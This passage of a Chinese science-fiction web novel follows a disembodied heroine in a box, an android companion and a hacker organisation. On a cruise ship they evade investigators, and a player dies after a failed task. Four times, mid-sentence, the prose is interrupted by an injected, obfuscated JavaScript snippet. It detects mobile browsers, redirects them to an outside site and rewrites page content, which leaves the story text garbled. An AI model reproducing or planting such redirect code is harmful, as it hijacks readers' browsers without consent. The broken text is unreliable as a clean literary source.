海面的浪尖上，隐约显现出一只巨大的狐狸，其背如同库金利区的天空城一般高昂，浓密的狐尾如火焰，蓬开一簇。 影子很淡，但在这个天色下已经足够清晰。翻涌的白浪里，几乎可以看到它的两只金色眼睛，细长而锐利。 船距离撞狐岬角还有一段距离，只能隐约看到黑乎乎的一小点，那是延展出来的陆地上一部分小山。 但此时见到海面上似有似无的狐兽影子，几乎所有人都认为这和撞狐岬角有关。 在撞狐岬角的传说中，狐兽掌管着时空的运转，如果有船只在撞狐岬角的风浪里不幸淹没，那么便是穿越到了另一个时空。 撞狐岬角附近的海域天气不稳定，更是为这个传说增添了几分神秘色彩。 更巧的是，这艘船昨天晚上刚经历了一次诡异的停电断信号和风暴。 607舱房内。 纪学默第三次被打断话头，这次是终端上来了消息。 “航区官说，这次的意外有可能和狐兽有关，让我们现在去调查狐兽。” 加里显然不是很愿意：“什么狐兽？那种东西航区官都信？” 莉莉丝耸了耸肩：“啊哈，在我们这个世界，还有什么是不可信的？只有蠢货才会认为不可能。” 纪学默要问苍术的话最终还是没机会问出口，他无奈道：“抱歉，我们必须先走了。” 撞击在船体上的海浪雪白而冰冷，高跃如墙，一时间遮住了视线，甲板上进了一些水。 海浪落下后，那个朦胧的影子却消失了，仿佛从未出现过。 只剩岬角的黑色点落在视野里。 海上乌云层层叠叠。 丛黎见好就收，撤走自己投放在海面上的“高维显形”。 继在建筑工地上扮演了一回“恶魔之手”后，她居然能在海上装神弄鬼了。 18. 刺客之跃18 船上的大部分人都在讨论撞狐岬角的巨狐。 各种猜测和流言像血迹一样无孔不入地渗透着。 关于停电断信号和风暴的真相，似乎一切都有迹可循。心思各异的乘客斟酌着时空、异能、力量和商机。 607舱房内却是另一种氛围。 “那个调查组，”雇佣兵霜说了一半，不知想到了什么，硬生生把这个话题掐断了，“我们暂时安全了。要是他们查身份什么的，我可拿不出你的身份。但那个结界到底又是怎么回事？” 苍术：“我正在休息，我也不明白。” 丛黎在盒子里刷着论坛，调查组走后她也放松了不少。 听到苍术的回答，她道：“啧，撒谎不眨眼。” 从微纳耳机里传来的声音让苍术微微笑了笑。 他若无其事地转移话题：“另外，我怀疑那个调查组中有人拥有测谎的异能，但只有在本人提问的时候才有效。” 霜表示赞同：“我也是这么觉得。尤其是那个红发女调查员看我的时候，我感觉到了压迫感。” “所以刚才那个女调查员问你关于亡妻的问题以后，她才很确定地说你没有说谎。” 苍术面色平静：“她在怀疑我是不是一个仿生人，才会问那些问题。” “等等？什么？”霜以为自己听错了。 苍术言简意赅地答道：“她是守卫帮的人。” 丛黎的注意力被吸引过去，在耳机声道里问苍术：“真的吗？那个叫莉莉丝的调查员？” 在芯片的另一端，黑客阿魏提醒道：“的确是猎杀仿生人的守卫帮，女调查员眼尾的花纹中隐藏了守卫帮的标志。” 苍术对霜解释道：“她眼睛旁边的纹身里有守卫帮的标志。” 霜错愕地怔了几秒：“真是……险象环生。” 猎杀仿生人的调查员莉莉丝，怀疑607舱房是断电断信号罪魁祸首的调查员加里，还有一个意图不明笑里藏刀的调查员纪学默。 调查组来到607舱房时，每一个调查员的每一句话都暗含陷阱，一不小心就会踩雷。 黑客阿魏在远程通讯那端轻声叹气道：“纪学默，是库金利区总统幕僚长。确实是险象环生。” 丛黎这回真是扎扎实实地吃了一惊。 库金利区是联邦总统所在的地方，也就是说那位叫纪学默的调查员实际上是无限贴近联邦核心权力的幕僚长。 不过是一艘游览船停电停信号而已，至于喊来总统区幕僚长调查吗？ 不，问题的核心在于：这艘游览船一般是为黑色交易和其他不可告人的事项准备的，上面的人多少有点不干不净，为什么幕僚长会公开出现在船上？ 丛黎继续往下思考。 更重要的是：正是因为幕僚长在船上，所以“断电断信号”才会升级为更严肃的事项，才值得专门成立调查组。 这件事像滚雪球一样越滚越大。 本来这件事只是她里莎船长单方面对她的忌惮，现在却只剩下她承担起“罪魁祸首”的责任了。 她连罪名都想好了： 《大胆盒子，正在筹划针对总统幕僚长和库金利区甚至针对整个联邦的阴谋》 《大胆盒子，冒充撞狐岬角的狐兽搅动人心，意图不轨》 没穿越前的丛黎大概想破脑袋也想不出来她居然会成为这么重量级的幕后黑手。 雇佣兵霜站起身，拿起外景眼镜，从舱房窗户里观看了一会儿。 海面上波涛翻涌，这是船在绕过撞狐岬角时普遍会遇到的。只是刚才那一幕巨狐的景象却早已消失了。 “狐兽，是什么？”霜自言自语地道。 调查组离开的时候，提到了“这次的意外可能和狐兽有关”。 真相真的是撞狐岬角上的狐兽引起了断电断信号的状况吗？ 霜很快回自己的舱房了。 丛黎在论坛上没发现关于新任务的讨论，她刷了一会儿，记下其他玩家科普的异能的种类后，又开始复盘整件事。 第一，高维显形的训练卓有成效。虚拟的显形形象甚至可以用来迷惑其他人，不过运用范围较小，只能在某些特殊情况下（比如配合撞狐岬角的传说）起效果。 第二，在调查组中，那个叫“加里”的男调查员可能会不死心，卷土重来。而那个叫“纪学默”的总统幕僚长更是一个隐藏的威胁。 第三，“尾迹云”组织的信息搜查能力恐怖得超出她的想象。阿魏能查到叶提星的异能和过往，能查到几个调查员的身份，一定也能查到关于她过往中的很多细节。要留个心眼。 第四，关于在船上的另外一个玩家…… 那个玩家，会在那三个调查员中吗？或者是其他人？ 复盘结束，丛黎躺平。 在进入休息的状态前，她的脑子里随意转过一个念头：对了，霜开始变得有点不太对劲，从刚才开始，他的话明显变多了。 “如果那个叫加里的调查员回来，我们该怎么解释？”苍术开通了远程通讯。 显然他也考虑到了调查员加里对他深重的怀疑，所以才会决定和组织开一个临时会议。 丛黎插嘴道：“加里怀疑的点不是‘结界’吗？既然是叶提星搞出来的事端，那就让她自己来解决。” 阿魏：“问题是，你才削过叶提星，她真的愿意过来救场吗？” 丛黎：“这有什么难的？逼着她过来救场啊。” 阿魏听了丛黎提出的计划，语无伦次：“渡鸦，你，你……” 按照计划，苍术按下了606舱房的门铃。 叶提星的睡觉眼罩盖在额头上，懒洋洋地过来开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462243|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 苍术按照台词阐述道：“我的东西不见了。” 叶提星靠在门边：“你觉得，我拿的？” 苍术：“只有你来借过我的通讯器。” 丛黎切断盒子外声音，自言自语地道：“黎舍之，转告亚尔弗转告叶提星，配合一下。不过她要是不愿意也可以，我自有办法。” 叶提星一时间搞不懂这个邻居的意图，眯着眼睛试图搞清楚状况。下一瞬，叶提星的意识里传来同伴的消息。 【亚尔弗】：黎舍之让我转告你，配合一下渡鸦的剧本，把你的异能“不经意”地透露出去。 【叶提星】：异能透露出去？你这种连接系异能倒是没关系，黎舍之他随便透露自己的异能不够，还要拉我下水？这不是自断后路吗？ 【亚尔弗】：你第一次那么愤慨，哇。真抱歉啊，你要是不愿意也可以。 【叶提星】：亚尔弗，我只是想起了十年前的事……算了，反正我也不是很想活了。 叶提星敛起神色，光速变脸，抬手朝苍术扔了一个小型的旋转结界：“滚出去。” 606舱房无情地关上了。 苍术躲开旋转结界的时候，站位正好在走廊上监控的覆盖下。 丛黎：“转告亚尔弗转告叶提星，谢谢叶提星女士的配合。” 有了监控作证，“结界”这件事就可以推给叶提星了。 如果调查员加里细心一点，就会读出苍术的口型，“我的东西不见了”。真相仿佛是：叶提星趁着停电停信号的时候躲开监控利用结界去607舱房内拿了东西。 调查员加里那边应该能交代了。 丛黎不厚道地总结道：“至于叶提星，为了避免她和我的争斗暴露，再怎么样她都会认下‘偷拿东西’这个罪行。” 阿魏：“太损了，不愧是宿敌……” 躲过叶提星的旋转结界，苍术带着盒子回到自己的舱房内。 关上门的刹那，船上传来了一声巨响。 与此同时，系统跳出了提醒：【玩家819接下任务，任务失败，执行死亡程序】 【触发世界观公告：特定玩家触发任务后，不接任务或者任务失败都会死亡，请珍惜你的生命。】 丛黎怔了一下，如坠冰窟。 任务二“阻止神秘组织刺杀总统”，触发该任务的玩家冷青没有接下任务，死亡。 任务三“调查船上停电断信号的原因”，触发该任务的玩家接下任务但是任务失败，死亡。 那么，接下任务并完成任务才是唯一的生路吗？ 触发“刺杀总统”任务的特定玩家是她。成功刺杀总统，她才能活下来吗？ 远程通讯那端，阿魏忽然对苍术道：“检测到，雇佣兵霜的生命体征消失了。没有了他的接应，接下来万事小心。” 19. 刺客之跃19 玩家819因为任务失败死了。 这个系统公告的放出，如同朝冰块扔下一个烧得通红的铁球。 论坛上充斥着死寂而绝望的喧闹。 但对于丛黎来说，另一个消息也将她砸得头昏脑涨。 “霜的生命体征消失了。” 按照组织一贯的多疑而周全的做法，最初和雇佣兵霜打交道的时候，组织就让苍术在霜身上放了微型监视器。 没想到的是，这个监视器却见证了霜的死亡。 “没有了他的接应，接下来万事小心。”远端通讯中，阿魏提醒道。 苍术应道：“好。” 盒子里的丛黎却久久地沉默着。 几乎是同一时间的死讯：玩家819，霜。 丛黎惊疑不定地开始猜测这两个人之间的关系。 难道霜就是那个触发任务、接下任务并失败的玩家吗？ 她有些毛骨悚然地回忆起所有关于雇佣兵霜的细节。 霜就像一个平平无奇的NPC，沉默寡言，做事可靠，关键时刻会尽到职责介绍很多背景信息。 作为隶属于某个地下帮派的雇佣兵，霜接到了一个任务：护送犯事的仿生人苍术躲过监控平安到达硫磺市。 霜的任务非常简单，尤其是在任务目标苍术选择了“海路”以后，流程就更大幅度地被简化了。他只需要和帮派联系好，和人接头，聊几句客套话，带着任务目标走就好了。 这样的霜，会是和她来自同一个世界的玩家吗？ 丛黎不确定，但她可以肯定的是：现阶段船上死亡的人只有他。 霜有点倒霉。 起先他被揍晕在排水渠边，然后船上出了一点意外，接着调查组来了，最后他死了。 “您朋友的死因，是在去自助餐厅吃饭的时候，路过帮派混战现场，当时船员还没来得及用结界处理这些混战人员，所以他就被波及了，很遗憾。” 船组工作人员面无表情地对苍术道。 总结是：路过，被杀了。 船员的处理速度很快，“医疗海葬一条龙服务”很快就将不治身亡的霜变成了骨灰。 放在苍术面前的是一个真正的骨灰盒。 兴许是考虑到苍术的乘客信息里有“亡妻的骨灰盒”这一条，船员贴心地把霜放进了骨灰盒送给苍术，而没有直接把霜送进海葬程序。 带一个骨灰盒和带两个骨灰盒也差不多。 苍术转过身去，看着船舱走廊上的广告贴画沉默了一会儿以表明自己的心情。 然后，他从船员手中接过骨灰盒，道了谢，离开了。 整个程序简洁而流畅，仿佛是领取一件丢失的物品。 丛黎感到荒谬。 她曾对于玩家冷青的死亡感到痛苦无奈，但现在她的感官是麻木的，因为震撼而无法再运转。 原来在这个世界，一个人死了是那么稀松平常的事。 就像去便利店里买瓶饮料一样，人们可以从工作人员手中接过骨灰盒。 她早该想到的，这里的人们或安装机械植入体强化身体，或觉醒异能大杀四方，这种情况下，意外死亡是一件习以为常的事。 只是，如果霜是玩家—— 为什么霜会接下任务？他又给出了什么答案？狐兽吗？谨慎可靠、毫不穿帮的霜为什么会轻易接下任务？ 黄昏的时候，苍术站在甲板上，手扶着栏杆，问盒子：“你怎么了？” 丛黎随口答道：“我没怎么，就是觉得有点突然。” 海风把他身上穿着的外套吹得鼓鼓的，他的语气沮丧：“对不起，有些东西我不能表达。” 丛黎听不懂：“就当我已经听懂了。但我觉得现在状态不对劲的是你，你拿了霜的骨灰盒后就变成这样了。” “我只是不明白。”苍术说。 她：“你不用想明白，你只要想象一下我现在摸了摸你的头。” 海风正好吹过来，把他的头发揉成了顺毛，苍术低了低头，乖顺地任由海风一顿搓，他少见地笑了一下：“摸到了。” 丛黎急了：“不是我摸的！我没有动手，我不可能因为这种事浪费异能。” 苍术顺着她的话头说：“好的，我知道了。” 两人的对话发生在微纳耳机里，苍术则是程序转语音对她说的。 从外面看来，却是在人来人往的甲板上，苍术独自沉默地在栏杆边看海的景象。 “我最近开始担心死亡了。”苍术说。 “为什么？”她问。 苍术：“到达损耗阈值后，没有人会把我的记忆存下来。如果公司出了和我型号一样长相一样的仿生人，那他就不认识你了。” 丛黎：“型号一样长相一样记忆不一样，那可不叫苍术。” 苍术轻声叹气道：“所以我有点担心死亡了。” 丛黎笑了出来：“哈哈哈，你太可爱了，我开始喜欢和你聊天了。” “你以前不喜欢吗？”苍术抓住重点。 丛黎只能承认：“有点。我以前觉得你有时候太顺从了，我说什么你就答应什么，没意思。” 苍术面露担心：“我只是不希望和你吵架。” 丛黎：“吵架是价值观的碰撞……算了，你这样也挺好的。” 苍术：“我也会有价值观吗？” 丛黎想了想：“你想有的话就可以有。” 就这个话题的走向，丛黎甚至开始担心组织马上从远程通讯里冲出来打断她和苍术的对话，然后严厉谴责“盒子试图带坏撺掇仿生人”。 不过组织还是没有打扰这次私人谈话，于是话题继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462244|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行了下去。 苍术：“你是第一个和我说这些事情的人类。” 丛黎：“要是遇到第二个像我这么无所事事的闲人，可能就会有第二个和你说这些事的人了。” 在盒子里天天躺平的丛黎已经无聊到快发霉了，除了刷论坛就是刷论坛。 游戏论坛上全是对于“什么条件下才会触发任务”“不接任务或任务失败的死亡惩罚”的讨论。 5L：所以第一个任务和第二个任务的触发玩家，还活着吗？ 8L：之前还想着让我也触发一个任务，现在想想还是算了，最好别让我触发任务。这荒谬的游戏。 19L：我越来越觉得穿越是有预谋的，虽然之前论坛上那个“高维降临”是穿越真相的线索之一，但毕竟只是其中一个线索，真相肯定还要恐怖。 89L：想回家！左勾拳右勾拳阴暗爬行扭曲低吼分裂蠕动！我要回家！ 如果霜是玩家，那么扮演这个世界的土著扮演得几乎没有露出破绽的他，莽撞接下任务的契机又是什么？ 是为了回家吗？怀着完成任务或许能回家的一线希望？ 丛黎似乎有点理解了。 可能正是因为努力融入这个世界，才会感到崩溃，迫切地希望能获得奖励并回家，因此做出鲁莽的举动接下任务。 苍术：“你会有担心的事吗？” 丛黎：“我担心我也会崩溃。” 苍术：“崩溃？” 丛黎：“因为受不了现状而无法理智，大概是这种情况。” 苍术的手揣进口袋里，摸了摸盒子：“被关在盒子里很难受，但是不要崩溃，很快我们会找到办法的。” 对于苍术的安慰，丛黎情绪复杂：“谢谢你，我暂时不会崩溃，我还有恨恶的东西。” 在她心里的那杆天平上，“游戏系统”在“死”的那一端扔下砝码，让重量变成了100。 于是她决定让天平的另一端“生”的重量持续加重，变成110，变成1000。 或许是一种反叛心理，既然系统要她死，那么她不仅想活着，还想找出背后操控一切的那位报仇。 “恨恶……” 日落时分，海上出现了海市蜃楼。 虚幻的摩天大楼鳞次栉比，在金色的日暮和海面上升腾起来。 刺向天空的塔尖周围旋绕着一片灯火通明的土地，光线在各建筑间穿梭，反射出金红的光点，如同被火海包围。 海市蜃楼很快就消失在海面上，日头从地平线上落下去。 苍术的眼中映出海面上平静而深黑的水涡。 “组织让我们小心调查员加里，他的异能是‘客体化’。” 丛黎思考了一下“客体化”的含义，她沉默了片刻：“知道了，我们回去吧，外面风有点大。” 20. 刺客之跃20 机器人乘务员把霜的私人物品送到了607舱房。 机械臂流畅的动作像赌场的扑克牌自动发牌机一样，临了还声情并茂地给一句：“查询到死者并没有死亡保险，本次服务到此结束，请在屏幕上选择服务评价。” 苍术关上门，把那些物品重新打包好放进霜的手提箱里。 远程通讯中，阿魏嘱咐了好些需要注意的事项后，忽然问了一句：“渡鸦，你的异能是什么？” 丛黎正在盒子里靠着空气墙休息，她冷声道：“你不懂规矩？异能是特密情报，你觉得我会告诉你？” 阿魏道歉：“对不起，就是有点好奇。因为感觉有点像‘隔空取物’，但却又感觉比那个要强很多。而且……而且苍术不是说，你能显形吗？” “你就猜去吧你，别打扰我休息。”她毫不客气。 苍术合上手提箱：“渡鸦是我们的合作伙伴，不要惹她生气。” 阿魏哭笑不得：“才几天呢，你就开始维护起渡鸦来了。” 苍术却没有开玩笑的意思：“阿魏，这件事的错在于你。” 阿魏被他的认真打败了：“你来真的？……得了，我的错我的错。” 丛黎从空气墙里拉了一下他的衣服：“没事，谢谢你。” 之前在建筑工地对抗追兵时，她还触碰不到活物和异能形成的武器，学会“高维显形”后，她就能触碰到人了。 苍术第一次感觉到来自盒子的触碰，他有些诧异：“再摸一下好吗？” 对于活物，她的异能等级还停留在只能摸不能改变状态的水平，也就是说她暂时无法把活物像小鸡仔似的拎来拎去。 她握住苍术的手腕：“只有我能触碰到你，反过来你不能抓到我。” “有点温热的触感，就像活生生的人类在握着我的手一样。”苍术思考着形容道。 丛黎纠正：“我就是活生生的人类，你别描述得我像个幽灵一样。我只是身体死了，意识还活着的。” 阿魏突然出来插嘴：“所以是‘意识之手’吗？” 苍术的脸色冷下来。 阿魏连忙讨饶：“知道了，我不说了，这次还是我的错。” 丛黎沉默着没有做出任何反驳。 恶魔之手，意识之手，就尽管往“控制系异能”这方面去思考吧。 根据论坛上的玩家总结，这个世界对异能的认识仅限于“破法则系异能”，这对于拥有法则系异能的她来说是一个值得庆幸的点。 “阿魏，调查员加里的异能‘客体化’是什么类别的？”她试探着问。 阿魏：“干扰系的，很难对付，尽量小心别和他对上。” 丛黎假意应道：“我猜应该也是。” 她没有说的是——她倒是觉得调查员加里的异能，“客体化”，是法则系。 …… 调查员加里反反复复地看了那段监控。 蓝色头发的女人半边脸上有着黑色的花纹刺青，打开舱房门后和邻居交谈了两句，紧接着她变了脸色，不耐地甩手把邻居轰出去。 画面停在她出手的那个瞬间。 从特殊的淡蓝色光芒来看，应该是结界。 “是旋转结界，攻击型的结界。”旁边的船员提醒道。 莉莉丝语气嘲讽：“船上有第二个结界异能者，早就提醒你了的，蠢货。” 加里从监控边站起身，高壮的身躯上包裹着一层薄薄的金属护甲。 莉莉丝左手支着右手的肘关节，右手则按在下巴边，一副沉思的样子：“……你现在去找606的那位客人？” 加里眼神凶恶地剜了一眼莉莉丝。 莉莉丝毫不在意他流露出来的杀气，畅快地笑起来：“哈哈哈哈，鸡毛当令箭，随便给你安排个调查员的名头，你就得意上了。” “哼。”加里大步离开了。 莉莉丝没有跟上去，她从机器人乘务员手里接过一杯咖啡，讽刺地扯了扯嘴角，对一边的船员道：“加里就是这种人，他并不是真正在乎真相，他只是享受权力带给他的快感而已。” 加里去了606舱房。 他敲开门，来开门的是那个蓝发的女人。 “那天晚上你为什么要在607施放结界？”加里直截了当地质问道。 叶提星想起不久之前配合演的那出戏了，她无奈地叹了一口气：“结界是我放的，东西是偷拿的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466785|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯独船上断电断信号这件事和我无关，行了吗？” 加里从腰间抽出一把传统的动能手枪，指着叶提星：“你最好老实一点。” 叶提星定定地看着加里手里的枪，同时金属护具像藤蔓一样在她身上生长攀爬，遮挡住她的大部分要害部位，她抚了抚颈边，顿时，头盔罩住了她的脑袋。 “野蛮人。”她冷冷地评价道。 加里笑了出来，他的嘴唇形状很怪，笑起来更是阴恻恻的。 “我命令你，解开护具。”加里看向叶提星。 隔着头盔，叶提星感觉到了一种怪异的力量在她的身体里运行。 她的浑身都不自在，仿佛不受自己控制一般。 像水蛭在筋骨里爬行，她感到不寒而栗。 而她的手…… 叶提星惊恐地发现自己的手竟然按下了“解开护具”的按钮。 金属护具重新缩回去，回到最小化的状态。 意识里，亚尔弗在不断提醒她。 【亚尔弗】：叶提星，你在做什么？对方都拿枪威胁你了，你要么穿护具，要么放结界！ 【亚尔弗】：你想死也不是这么死的！ 叶提星回过神来，那种被注视的感觉减弱了一点。 【叶提星】：他的异能，对我的神志，有干扰作用。 加里紧盯着她的眼睛：“把那天晚上的真相告诉我。” 【亚尔弗】：不要看他的眼睛，有干扰作用。放结界！把这个混蛋砸烂！ 叶提星移开目光，想抬起手。 加里眯起眼睛：“别想使用任何异能。” 仿佛浑身的神经被抽紧，叶提星像提线木偶一样放下了手。 虽然没有再和那个穿着金属软甲的男人对视，但她仍然被他的异能控制着！ 加里放肆地笑起来：“在我的凝视下，讨好我吧，把所有都清清楚楚地告诉我！” 叶提星咬住牙关，嘴角沁出了血丝，所有真相已经到了嘴边。 【黎舍之】：他的异能不是干扰系，是建立在“客体化”理论上的法则系，在他的凝视下人会失去自我。 【黎舍之】：去叫渡鸦，只有她能解开。 21. 刺客之跃21 丛黎在盒子里睡大觉。 这几天纷繁的事件让她感觉犹如猛鸷盘旋在头顶，随时可能会朝她俯冲而下。 舱房内安静极了，苍术在充电桩边靠着。智能挂钟调成了静音模式，并没有滴答的声音，窗外偶尔有海浪的声音扑来。 “我好像梦到很糟糕的事了。”她说。 苍术轻轻摸了摸盒子：“听说梦都是反的。” “嗯，”她应了一句，随即调侃道，“你还做夜宵吗？金枪鱼炒海带？” 苍术摇了摇头：“不敢再做金枪鱼炒海带了，你要是想，我可以做其他的。” 丛黎猜到了苍术的意思，当时他做金枪鱼炒海带的时候发生了她里莎船长事件，他担心会再次发生其他意外事件。 她笑起来：“不要那么迷信嘛。” 苍术从充电桩边起身，走到冰箱边：“我看看冰箱里还有什么食材，缺的话让机器人乘务员送过来。” 打开冰箱后，冷气扑面而来。 门铃响了。 苍术转过头，戒备地看向舱门的方向，肢体动作里透着迟疑。 苍术：“有人来了。” 丛黎：“不用担心，去开门就好。” 苍术走到门边，打开电子猫眼。 丛黎则打开了“二级远景”，看到了门外的情形。 敲门的是那天来宣传零重力舞池的机器人，应该又是来打广告的。 苍术没有开通“免广告vip包”，自然逃不过每天找上门来的广告宣传机器人。 “二楼大厅的情绪音乐会，今天晚上有九折优惠活动，连接您的大脑，就可以催生各种美妙的情绪！” 在机器人语气激昂的广告演说中，丛黎收到了亚尔弗的消息。 自从第二次和亚尔弗的意识连接以后，她没有再让亚尔弗滚出去，反正他的能力只是传话而已，并不能窥探她的内心。 空无之壁上跳出一行文字。 【亚尔弗】：求救！隔壁606正在被那个“客体化”异能者审问！感激不尽！ 丛黎：“审问？” 她把注意力放到了走廊上。 穿着金属软甲的调查员加里正在询问叶提星一些事情。 叶提星的表情有点怪，但气氛并非剑拔弩张，加里也没有动粗。 “告诉我。”加里说。 【亚尔弗】：别看他现在这样，都是表象，他的异能会扰乱人的神志，让人失去自我，顺从他的要求！ 丛黎的心脏揪紧了：“我没想到他居然不死心，直接来找叶提星了。” 如果叶提星被迫说出真相，情况会变得无比糟糕。 其一，盒子的存在会暴露，船组所属的公司和黎家联手的话，她和组织都得完。 其二，组织会发现她“杀死船长重创叶提星”的说辞是虚假的。 “……祝您生活愉快！”机器人念完了广告，礼貌地告辞了。 苍术即将关上门。 丛黎对苍术道：“那个调查员在审讯叶提星，她要是说出真相，我的存在就暴露了。” 苍术的动作顿了一下：“我应该过去制止吗？” 远程通讯那端，阿魏也发现了，他的声线紧张：“我们也会暴露，这次行动会完蛋……我们必须采取行动。可是我们现在该怎么做？苍术贸然上去的话，不是坐实了嫌疑吗？” 丛黎：“不，让我动手。苍术，你尽管关上门。” 阿魏听见她的回答，多少松了一口气：“渡鸦，拜托你了。” 607舱房门关上了。 丛黎开启了二级远景，空气墙上投着走廊上的影像。 她深呼吸了一口气，努力冷静下来。 要对付调查员加里的异能并不难，困难的点在于如何在隐藏自己的情况下对付加里。 第一个要躲的是监控。 要触发“法则审判”，必须让对方听到审判者的声音。但是她的声音不能暴露在走廊的监控之下。 唯一躲过监控的办法是结界，如果有一个斗殴结界，事情会简单得多。 问题是，叶提星现在无法使用异能放出结界。 她伸手探入空气墙，在二级远景里抓起那只宣传机器人，朝调查员加里的脑袋砸过去。 机器人飞踹！ 加里正专心致志地对付叶提星，猛然间视野里出现一只机器人的机械脚，瞳孔豁然缩了一缩，大喝了一声：“护具！” 他身上的金属软甲应声而起，挡下了机器人的一击。 飞在半空中的宣传机器人屏幕上的表情呆滞：“检测到无重力状态？检测到碰撞？” 【亚尔弗】：叶提星，能放结界吗？ 叶提星的手掌张开，淡蓝色的光芒却没有如期出现。 【叶提星】：不行，在他的控制下，不能使用异能。 【丛黎】：不用放结界，放狠话。 叶提星着实愣了一下，颇为狼狈地冷笑：“既然你，呵呵……” 加里看向叶提星的目光里多了几分忌惮，但却更加确信自己的猜测。他来不及回应，下一记机器人的飞踹再次击向他的后脑勺！ 金属软甲有如鼓动的海浪，再次上扩，挡住了机器人从后方的袭击。 【亚尔弗】：这样下去不是办法，他有软甲防御，根本近不了身。 【丛黎】：不需要近身，只要再坚持一点时间。 丛黎在盒子里默默数着时间。 上次，对面舱房的几位乘客开始打架半分钟后，维持秩序的船员来了。 既然叶提星开不了结界，那么就让专业的斗殴结界能力者来开。 宣传机器人又是一击，落在软甲上！ 加里有些烦躁，他必须分出精力来，软甲才能检测到攻击并保护他，但此时他的“客体化”控制会减弱，导致叶提星迟迟不开口。 他把枪上了膛，几发子弹打向机器人：嘭，嘭！ “检测到部件损坏？滋滋……检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483205|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测到无重力状态？”机器人的声音里带了点滋滋滋的电流。 走廊的尽头出现了脚步声。 “加里审问着审问着就开始动手了……抱歉了，不管是谁，开始斗殴了就得进结界！” 维持秩序的结界异能者抬手，结界的光芒绽开，将叶提星和加里以及宣传机器人都罩在其中。 结界一来，丛黎失去了对宣传机器人的掌控。 她的空气墙上，关于加里和叶提星的影像都消失了，“远景”被结界阻隔。 这就是她要解决的第二个难点。 结界可以让她躲过船上的监控，躲过组织的监视，但同时也会把她隔绝在外。 保镖提醒道：“那个宣传机器人又进去了。” 结界异能者船员无奈：“……又是那个阿呆？怎么又进结界了？” 保镖：“这次它也参战了，加里在朝着它开枪。” 结界异能者船员扶额：“但宣传机器人也属于船上的财产，必须把它救出来。” 结界异能者撕开结界的一条缝：“麻烦你了，把阿呆拎出来。” 结界裂开一条缝隙的那瞬间，保镖走进结界中。 【高维显形】 一个缩小的盒子小人从那条结界缝隙里也迈了进去。 保镖拎走宣传机器人的时候，加里还在朝它开枪，面目狰狞地清空弹匣。 保镖：“停手！这是船上的财产，加里，你想拿到赔偿清单吗？” 加里听到“赔偿清单”清醒过来，停下扣动扳机。 保镖拎着宣传机器人从结界缝隙里离开，结界重新合上。 合上的一刹那，丛黎总算放下心来。 上次目睹了对面舱房打架的那个场景，她料定船员会把宣传机器人从结界里掏出来。 只要结界有缝隙，她就可以把她的显形放进去，一旦高维显形进入结界，她就可以不惧结界的阻隔进行远程操作了。 结界里空荡荡的，只有对峙的加里和叶提星二人。 加里见优势在于他，脸上的神色得意：“没有了外物，你还能操控吗？别挣扎了，说出真相吧。” 加里增加了“客体化”控制。 叶提星的双眼中失去光彩，她像木偶一样张开嘴：“船长……” “加里，朝你自己开枪。”结界内，一个遥远的声音忽然响起来。 加里总算意识到有一个第三者在参与这场战斗。 他惊恐不已，看到自己手里的枪漂浮起来，对准了他自己。 “住手！你是谁？” 加里咬紧了牙关：如果对方的异能也和“客体化”相似，也能迷惑神志控制行为，那么对方的异能等级也太高了。居然能在他毫无知觉的情况下控制他的身体！ “不用知道我是谁，你自己应该最清楚，你最担心这种无形的压力和看不见的敌人。” “加里，你自己也在凝视之下！” 嘭！ 扳机扣动。 22. 刺客之跃22 枪响了两下，第一下是丛黎控制的，第二下，开枪的是叶提星。 她像长在结界中的一颗心脏，手中延伸出控制着枪的淡蓝色丝线。 丝线缠住调查员加里的手枪，第二次扣下扳机：嘭！子弹射向加里的手。 加里没料到攻击的方向，金属软甲来不及按照意念所想的伸展保护他。 第一下，腿部中弹，第二下，手掌心洞开一个血口子。 叶提星摆脱“客体化”控制，重新使用异能，但丛黎却隐隐觉得不对劲。 【丛黎】：叶提星可以重新使用异能了吗？ 【亚尔弗】：我和叶提星的意识连接变弱了，我看情况很糟。 